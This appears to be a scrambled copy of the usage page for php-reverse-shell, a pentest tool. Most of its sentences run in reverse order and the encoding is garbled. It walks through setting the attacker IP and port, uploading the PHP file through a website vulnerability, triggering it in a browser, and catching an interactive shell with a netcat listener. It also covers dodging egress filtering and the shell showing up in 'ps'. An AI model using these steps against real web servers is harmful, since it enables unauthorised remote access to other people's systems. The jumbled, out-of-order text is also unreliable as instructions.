It doesnвЂ™t always happen, but is probably to be expected since weвЂ™re not daemonising ourself properly.The simplest definition of netcat is that itвЂ™s a network utility thatвЂ™s used to read to and write from TCP or UDP connections.

IвЂ™ve noticed a couple of zombie processes while testing this shell. YouвЂ™ll need to modify it before it will work on windows. This particular implementation of the reverse shell is unix-based. If there are none, youвЂ™ll have to make do with a form-based PHP shell. Pick a port thatвЂ™s allowed through Firewall. Outbound firewalling (aka egress filtering) may prevent your reverse shell connection reaching you. Thanks to Jovana Milutinovich for translating. IsnвЂ™t there going to be a rather suspicious looking shell process when the admin runs вЂњpsвЂќ? ItвЂ™s OK to hit cancel in your browser once youвЂ™ve got your shell. Your browser will appear to hang when you access the reverse shell. Additionally the PHP script attempts to daemonise itself and dissociate from the parent process to avoid this (though it rarely works in practise). It doesnвЂ™t seem to on the systems that IвЂ™ve tested it on (Gentoo Linux only so far). IsnвЂ™t the shell connection just going to be severed when the web server times out the PHP script? Perhaps you just canвЂ™t be bothered to upload a second program. You need to use an installed scripting language like Python, PERL, PHP, etc. Uploading a compiled program will be of no use in these situations. Perhaps the only areas on disk that you have write access to are mounted with the вЂњnoexecвЂќ option. Uid=81(apache) gid=81(apache) groups=81(apache) Some useful commans such as w, uname -a, id and pwd are run automatically for you: $ nc -v -n -l -p 1234Д¬onnect to from (UNKNOWN) 58012 If all went well, the web server should have thrown back a shell to your netcat listener. Run the script simply by browsing to the newly uploaded file in your web browser (NB: You wonвЂ™t see any output on the web page, itвЂ™ll just hang if successful): Enjoy your new shell Using whatever vulnerability youвЂ™ve discovered in the website, upload php-reverse-shell.php. Use the same port here as you specified in the script (1234 in this example): $ nc -v -n -l -p 1234 Upload and Run the script Start a TCP listener on a host and port that will be accessible by the web server. $port = 1234 // CHANGE THIS Get Ready to catch the reverse shell Edit the following lines of php-reverse-shell.php: $ip = '127.0.0.1' // CHANGE THIS

To prevent someone else from abusing your backdoor вЂ“ a nightmare scenario while pentesting вЂ“ you need to modify the source code to indicate where you want the reverse shell thrown back to.

Update 2011-11: Imax sent me a link to his tool fimapВ which uses php-reverse-shell. I stumbled across this video someone made of php-reverse-shell. It differs from web form-based shell which allow you to send a single command, then return you the output. This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su. Bound to this TCP connection will be a shell. The script will open an outbound TCP connection from the webserver to a host and port of your choice. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser. This tool is designed for those situations during a pentest where you have upload access to a webserver thatвЂ™s running PHP.
